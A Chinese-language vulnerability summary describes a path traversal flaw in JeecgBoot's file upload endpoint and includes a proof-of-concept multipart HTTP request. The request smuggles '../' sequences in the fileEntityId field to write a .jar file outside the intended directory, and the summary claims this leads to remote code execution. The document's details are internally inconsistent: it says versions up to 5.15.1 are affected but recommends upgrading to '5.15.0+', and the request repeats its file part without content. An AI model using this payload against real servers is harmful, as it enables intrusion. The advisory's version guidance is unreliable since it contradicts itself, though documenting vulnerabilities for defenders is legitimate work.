# 漏洞总结:JeecgBoot 文件上传路径遍历漏洞 ## 漏洞概述 在 JeecgBoot 的 `/a/file/upload` 接口中,`fileEntityId` 参数存在路径遍历漏洞。攻击者可以通过构造包含 `../` 的恶意参数,将文件上传到服务器任意目录。 ## 影响范围 - **受影响版本**:JeecgBoot 5.15.1 及更早版本 - **利用条件**:需要文件上传权限 - **危害**:远程代码执行(RCE) ## 利用代码 (POC) ```http POST http://localhost:8080/jeecg-boot/a/file/upload HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Length: 1325 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="test.jar" Content-Type: application/java-archive ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="fileEntityId" ../../../../../../../../../../tmp/test ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="test.jar" Content-Type: application/java-archive ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` ## 修复方案 1. **方法一**:在 `FileUploadController.java` 中添加参数校验,拦截包含 `../` 或 `\` 的非法参数 2. **方法二**:创建自定义 Service 实现类,在上传前对 `fileEntityId` 进行校验 3. **方法三**:升级至 5.15.0+ 版本并重新打包项目